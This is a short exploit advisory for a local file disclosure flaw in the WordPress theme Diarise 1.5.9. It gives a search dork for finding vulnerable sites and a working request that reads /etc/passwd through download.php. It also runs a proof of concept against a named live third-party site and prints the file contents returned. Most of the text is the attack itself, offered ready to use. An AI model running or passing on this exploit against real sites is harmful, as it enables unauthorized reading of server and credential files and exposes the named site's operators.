WordPress Diarise 1.5.9 Local File Disclosure

`[+] Local File Disclosure in wordpress theme Diarise  
  
[+] Date: 07/05/2019  
  
[+] CWE Number: CWE-98  
  
[+] Risk: High  
  
[+] Author: Felipe Andrian Peixoto  
  
[+] Dork: inurl:"wp-content/themes/diarise/"  
  
[+] Vendor Homepage: https://woocommerce.com/?aff=1790  
  
[+] Contact: [email protected]  
  
[+] Tested on: Windows 7 and Linux  
  
[+] Vulnerable File: download.php  
  
[+] Exploit : http://domain.com/wp-content/themes/diarise/download.php?calendar=[ file:///etc/passwd ]  
  
[+] PoC: http://tringanglers.org.uk/wp-content/themes/diarise/download.php?calendar=file:///etc/passwd  
  
[+] Example:  
  
GET /wp-content/themes/diarise/download.php?calendar=file:///etc/passwd HTTP/1.1  
Host: tringanglers.org.uk  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
DNT: 1  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
  
root:x:0:0:root:/root:/bin/false  
tringanglers.org.uk:x:987900:987900:tringanglers.org.uk:/home/tringanglers.org.uk:/bin/false  
  
eof  
  
  
`